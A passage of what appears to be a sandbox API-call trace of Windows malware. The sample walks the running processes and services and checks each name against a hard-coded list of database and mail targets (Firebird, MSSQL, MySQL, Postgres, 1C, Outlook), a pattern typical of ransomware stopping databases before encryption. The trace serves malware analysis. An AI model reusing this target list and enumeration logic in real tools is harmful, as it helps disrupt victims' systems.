[0111.740] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0111.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0111.740] lstrlenW (lpString="WdiServiceHost") returned 14 [0111.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0111.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0111.740] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0111.741] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0111.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0111.741] lstrlenW (lpString="WdiSystemHost") returned 13 [0111.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0111.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0111.741] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0111.741] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0111.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0111.741] lstrlenW (lpString="WinDefend") returned 9 [0111.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0111.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0111.741] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0111.741] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0111.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0111.741] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0111.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0111.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0111.741] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0111.741] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0111.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0111.741] lstrlenW (lpString="Winmgmt") returned 7 [0111.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0111.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0111.741] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0111.741] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0111.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0111.741] lstrlenW (lpString="wscsvc") returned 6 [0111.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0111.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0111.741] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0111.741] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0111.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0111.742] lstrlenW (lpString="wuauserv") returned 8 [0111.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0111.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0111.742] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0111.742] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0111.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0111.743] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x114 [0111.745] Process32FirstW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.746] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0111.746] lstrlenW (lpString="System") returned 6 [0111.746] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0111.746] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0111.746] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0111.746] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0111.746] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0111.746] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0111.747] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0111.747] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0111.747] lstrlenW (lpString="smss.exe") returned 8 [0111.747] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0111.747] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0111.747] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.749] lstrlenW (lpString="csrss.exe") returned 9 [0111.749] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0111.749] lstrlenW (lpString="wininit.exe") returned 11 [0111.749] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.750] lstrlenW (lpString="csrss.exe") returned 9 [0111.750] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0111.751] lstrlenW (lpString="winlogon.exe") returned 12 [0111.751] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0111.752] lstrlenW (lpString="services.exe") returned 12 [0111.752] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0111.752] lstrlenW (lpString="lsass.exe") returned 9 [0111.752] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0111.753] lstrlenW (lpString="lsm.exe") returned 7 [0111.753] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.755] lstrlenW (lpString="svchost.exe") returned 11 [0111.755] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.755] lstrlenW (lpString="svchost.exe") returned 11 [0111.755] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.756] lstrlenW (lpString="svchost.exe") returned 11 [0111.756] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.757] lstrlenW (lpString="svchost.exe") returned 11 [0111.757] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.758] lstrlenW (lpString="svchost.exe") returned 11 [0111.758] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0111.758] lstrlenW (lpString="audiodg.exe") returned 11 [0111.758] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.759] lstrlenW (lpString="svchost.exe") returned 11 [0111.759] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.760] lstrlenW (lpString="svchost.exe") returned 11 [0111.760] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0111.761] lstrlenW (lpString="dwm.exe") returned 7 [0111.761] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0111.761] lstrlenW (lpString="explorer.exe") returned 12 [0111.761] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0111.762] lstrlenW (lpString="spoolsv.exe") returned 11 [0111.762] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0111.763] lstrlenW (lpString="taskhost.exe") returned 12 [0111.763] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.911] lstrlenW (lpString="svchost.exe") returned 11 [0112.911] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0112.912] lstrlenW (lpString="taskeng.exe") returned 11 [0112.912] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0112.913] lstrlenW (lpString="taskhost.exe") returned 12 [0112.913] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0112.914] lstrlenW (lpString="fixwaves.exe") returned 12 [0112.914] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0112.914] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0112.914] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0112.915] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0112.915] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0112.916] lstrlenW (lpString="monsaver.exe") returned 12 [0112.916] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0112.916] lstrlenW (lpString="dosesugar.exe") returned 13 [0112.916] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0112.917] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0112.917] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0112.917] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0112.918] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0112.918] lstrlenW (lpString="nonprofit top.exe") returned 17 [0112.918] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0112.919] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0112.919] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0112.919] lstrlenW (lpString="accused.exe") returned 11 [0112.919] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0112.920] lstrlenW (lpString="governance.exe") returned 14 [0112.920] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0112.921] lstrlenW (lpString="old.exe") returned 7 [0112.921] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0112.921] lstrlenW (lpString="xi cg.exe") returned 9 [0112.921] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0112.922] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0112.922] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0112.922] lstrlenW (lpString="burlington.exe") returned 14 [0112.922] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0112.923] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0112.923] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0112.924] lstrlenW (lpString="buildings.exe") returned 13 [0112.924] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0112.924] lstrlenW (lpString="predictions_took.exe") returned 20 [0112.924] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0112.925] lstrlenW (lpString="carry_dns.exe") returned 13 [0112.925] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0112.926] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0112.926] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.926] lstrlenW (lpString="svchost.exe") returned 11 [0112.926] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0112.927] lstrlenW (lpString="sppsvc.exe") returned 10 [0112.927] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.927] lstrlenW (lpString="svchost.exe") returned 11 [0112.927] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0112.928] lstrlenW (lpString="msiexec.exe") returned 11 [0112.928] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0112.928] lstrlenW (lpString="cmd.exe") returned 7 [0112.928] Process32NextW (in: hSnapshot=0x114, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0112.929] CloseHandle (hObject=0x114) returned 1 [0112.929] Sleep (dwMilliseconds=0x1f4) [0114.279] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52c200 [0114.279] EnumServicesStatusExW (in: hSCManager=0x52c200, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0114.279] GetLastError () returned 0xea [0114.279] EnumServicesStatusExW (in: hSCManager=0x52c200, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x30e3878, cbBufSize=0x13a2, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x30e3878, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0114.280] CloseServiceHandle (hSCObject=0x52c200) returned 1 [0114.280] lstrlenW (lpString="Appinfo") returned 7 [0114.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0114.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0114.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0114.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0114.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0114.280] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0114.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0114.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0114.280] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0114.280] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0114.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0114.280] lstrlenW (lpString="AudioSrv") returned 8 [0114.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0114.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0114.280] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0114.280] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0114.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0114.280] lstrlenW (lpString="BFE") returned 3 [0114.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0114.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0114.280] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0114.280] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0114.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0114.280] lstrlenW (lpString="CryptSvc") returned 8 [0114.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0114.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0114.280] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0114.280] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0114.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0114.281] lstrlenW (lpString="CscService") returned 10 [0114.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0114.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0114.281] 